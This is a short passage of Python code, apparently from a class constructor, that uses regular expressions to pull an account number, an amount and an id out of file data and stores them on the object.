self.id = RE_ID.search(data)
if self.number is None or self.amount is None:
raise ValueError('No account number or amount in file')
self.number = self.number.group(1)
self.amount = self.amount.group(1)
self.amount = int(float(self.amount))
self.id = self.id.group(1)
self.opener = opener
